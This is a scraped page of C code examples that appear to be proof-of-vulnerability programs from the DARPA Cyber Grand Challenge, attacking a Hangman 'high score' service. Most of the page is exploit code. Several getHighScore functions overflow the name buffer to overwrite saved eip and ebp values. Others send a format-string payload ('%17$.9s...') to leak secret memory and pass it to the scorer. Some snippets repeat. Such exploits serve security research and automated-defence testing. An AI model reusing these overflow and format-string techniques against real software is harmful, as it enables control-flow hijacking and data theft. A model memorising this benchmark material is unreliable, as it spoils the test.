示例#1
0
void getHighScore() {
    unsigned char rand;
    int i, ch;
    char name[80];
    unsigned int *iname = (unsigned int*)name;

    for (i = 0; i < 48; i++) {
        unsigned int lrand;
        do {
            random(&lrand, 4, NULL);
            lrand = lrand % (0x7e - 0x20);
            name[i] = ' ' + lrand;
        } while (name[i] == '%' || name[i] == '\\');
    }
    name[48] = '\n';
    name[49] = 0;

    unsigned int neg[4];
    unsigned int val[2];
    neg[0] = 1;
    neg[1] = 0x3e3e3e3e;
    neg[2] = 0x3e3e3e3e;
    random(&rand, 1, NULL);

    if (rand & 1) {
        neg[3] = 5;
    }
    else {
        neg[3] = 6;
    }

    checked_transmit(3, neg, sizeof(neg));
    receive_all(3, (char*)val, sizeof(val));
    iname[11] = val[0] | 0x40404040;    //eip

    if (rand & 1) {
        iname[10] = val[1] | 0x40404040;    //ebp
    }
    else {
        iname[9] = val[1] | 0x40404040;    //ebp
    }

    match("Congratulations blondie, add yourself to the high score list\n");
    match("What is your name? ");
    checked_transmit(1, name, 49);
    match("New member of the HOF: ");

    do {
        ch = getchar();
        if (ch == EOF) {
            _terminate(1);
        }
    } while (ch != '\n');
    do {
        ch = getchar();
        if (ch == EOF) {
            _terminate(1);
        }
    } while (ch != '\n');
}
示例#2
0
void getHighScore() {
   unsigned char rand;
   int i;
   char name[80];
   unsigned int *iname = (unsigned int*)name;
   random(&rand, 1, NULL);
   
   //type 2
   unsigned int neg[1];
   unsigned int val[3];
   neg[0] = 2;
   random(&rand, 1, NULL);
   checked_transmit(3, neg, sizeof(neg));
   receive_all(3, (char*)val, sizeof(val));
   while (1) {
      unsigned int offset;
      random(&offset, 4, NULL);
      offset &= 0x7ff;
      offset += val[0];
      if ((offset & 0xFF) != 0x0a && (offset & 0xFF00) != 0x0a00 && (offset & 0xFF0000) != 0x0a0000 && (offset & 0xFF000000) != 0x0a000000 &&
          (offset & 0xFF) != 0x25 && (offset & 0xFF00) != 0x2500 && (offset & 0xFF0000) != 0x250000 && (offset & 0xFF000000) != 0x25000000) {
         val[0] = offset;
         break;
      }
   }
   iname[5] = val[0];
   iname[6] = val[0] + 16;
   memcpy(name, "%17$.9sabc%18$.9sdef", 20);
   name[28] = '\n';
   name[29] = 0;
   match("Congratulations blondie, add yourself to the high score list\n");
   match("What is your name? ");
   checked_transmit(1, name, 29);
   match("New member of the HOF: ");
   for (i = 0; i < 80; i++) {
      name[i] = 0;
   }
   i = 0;
   while (i < 3 || memcmp(name + i - 3, "def", 3) != 0) {
      int ch = getchar();
      if (ch == EOF) {
         err("term7\n", 6, 7);
      }
      name[i] = ch;
      i++;
   }
   getchar();  //LF
   i = 3;
   while (memcmp(name + i - 3, "abc", 3) != 0) {
      i++;
   }
   if (i >= (val[2] + 3)) {
      checked_transmit(3, name, val[2]);
      _terminate(8);
   }

   checked_transmit(3, name + i, val[2]);
   _terminate(8);
}
示例#3
0
int doTurn(char guess, char **answer) {
   int c;
   match("\n");
   printBoard(0);
   match("used:      \"");
   int i = 0;
   do {
      c = getchar();
      if (c == EOF) {
         _terminate(13);
      }
      used[i++] = c;
   } while (c != '"');
   used[--i] = 0;
   match("\navailable: \"");

   i = 0;
   do {
      c = getchar();
      if (c == EOF) {
         _terminate(14);
      }
      avail[i++] = c;
   } while (c != '"');
   avail[--i] = 0;

   match("\n\ncurrent: ");

   i = 0;
   do {
      c = getchar();
      if (c == EOF) {
         _terminate(15);
      }
      current[i++] = c;
   } while (c != '\n');
   current[--i] = 0;

   // int len;
   match("\nYour guess: ");

   checked_transmit(1, &guess, 1);
   checked_transmit(1, "\n", 1);

   return makeGuess(answer);
   
}
示例#4
0
int main() {
   char *answer;
   //interact with the client socket
   char buf[4096];
   int word;
   
   random(&word, 4, NULL); 
   
//   printf("Password: "******"Password: "******"HANGEMHIGH!\n", 12);
   if (fread(buf, 1, 28, stdin) != 28) {
      _terminate(3);
   }
   if (memcmp(buf, "Welcome to Hangman Blondie!\n", 28) != 0) {
      _terminate(4);
   }

   playToLose(word, &answer);
   if (fread(buf, 1, 18, stdin) != 18) {
      err("term1\n", 6, 1);
   }
   if (memcmp(buf, "Play again (y/n)? ", 18) != 0) {
      err("term2\n", 6, 1);
   }
   checked_transmit(1, "y\n", 2); 
   playToWin(word, answer);
/*
   if (fread(buf, 1, 18, stdin) != 18) {
      err("term3\n", 6, 1);
   }
   if (memcmp(buf, "Play again (y/n)? ", 18) != 0) {
      err("term4\n", 6, 1);
   }
*/
   checked_transmit(1, "n\n", 2); 

   _terminate(0);
}
示例#5
0
void getWord(int word) {
   unsigned char buf[4096];
   //save aside the first 4k of random
   if (fread(buf, 1, 43, stdin) != 43) {
      _terminate(5);
   }
   if (memcmp((char*)buf, "Choose your word seed. Please send 4 bytes\n", 43) != 0) {
      _terminate(6);
   }
   
   checked_transmit(1, &word, sizeof(word));   
}
示例#6
0
void getHighScore() {
   unsigned char rand;
   int i, ch;
   char name[80];
   unsigned int *iname = (unsigned int*)name;
   random(&rand, 1, NULL);
   
   if (rand & 1) { //type 1
      for (i = 0; i < 48; i++) {
         unsigned int lrand;
         do {
            random(&lrand, 4, NULL);
            lrand = lrand % (0x7e - 0x20);
            name[i] = ' ' + lrand;
         } while (name[i] == '%' || name[i] == '\\');
      }
      name[48] = '\n';
      name[49] = 0;

      unsigned int neg[4];
      unsigned int val[2];
      neg[0] = 1;
      neg[1] = 0x3e3e3e3e;
      neg[2] = 0x3e3e3e3e;
      random(&rand, 1, NULL);

      if (rand & 1) {
         neg[3] = 5;
      }
      else {
         neg[3] = 6;
      }

      checked_transmit(3, neg, sizeof(neg));
      receive_all(3, (char*)val, sizeof(val));
      iname[11] = val[0] | 0x40404040;    //eip

      if (rand & 1) {
         iname[10] = val[1] | 0x40404040;    //ebp
      }
      else {
         iname[9] = val[1] | 0x40404040;    //ebp
      }

      match("Congratulations blondie, add yourself to the high score list\n");
      match("What is your name? ");
      checked_transmit(1, name, 49);
      match("New member of the HOF: ");
      
      do {
         ch = getchar();
         if (ch == EOF) {
            _terminate(1);
         }
      } while (ch != '\n');
      do {
         ch = getchar();
         if (ch == EOF) {
            _terminate(1);
         }
      } while (ch != '\n');
   }
   else {   //type 2
      unsigned int neg[1];
      unsigned int val[3];
      neg[0] = 2;
      random(&rand, 1, NULL);
      checked_transmit(3, neg, sizeof(neg));
      receive_all(3, (char*)val, sizeof(val));
      while (1) {
         unsigned int offset;
         random(&offset, 4, NULL);
         offset &= 0x7ff;
         offset += val[0];
         if ((offset & 0xFF) != 0x0a && (offset & 0xFF00) != 0x0a00 && (offset & 0xFF0000) != 0x0a0000 && (offset & 0xFF000000) != 0x0a000000 &&
             (offset & 0xFF) != 0x25 && (offset & 0xFF00) != 0x2500 && (offset & 0xFF0000) != 0x250000 && (offset & 0xFF000000) != 0x25000000) {
            val[0] = offset;
            break;
         }
      }
      iname[5] = val[0];
      iname[6] = val[0] + 16;
      cgc_memcpy(name, "%17$.9sabc%18$.9sdef", 20);
      name[28] = '\n';
      name[29] = 0;
      match("Congratulations blondie, add yourself to the high score list\n");
      match("What is your name? ");
      checked_transmit(1, name, 29);
      match("New member of the HOF: ");
      for (i = 0; i < 80; i++) {
         name[i] = 0;
      }
      i = 0;
      while (i < 3 || memcmp(name + i - 3, "def", 3) != 0) {
         int ch = getchar();
         if (ch == EOF) {
            err("term7\n", 6, 7);
         }
         name[i] = ch;
         i++;
      }
      getchar();  //LF
      i = 3;
      while (memcmp(name + i - 3, "abc", 3) != 0) {
         i++;
      }
      if (i >= (val[2] + 3)) {
         checked_transmit(3, name, val[2]);
         _terminate(8);
      }
   
      checked_transmit(3, name + i, val[2]);
      _terminate(8);
   }
}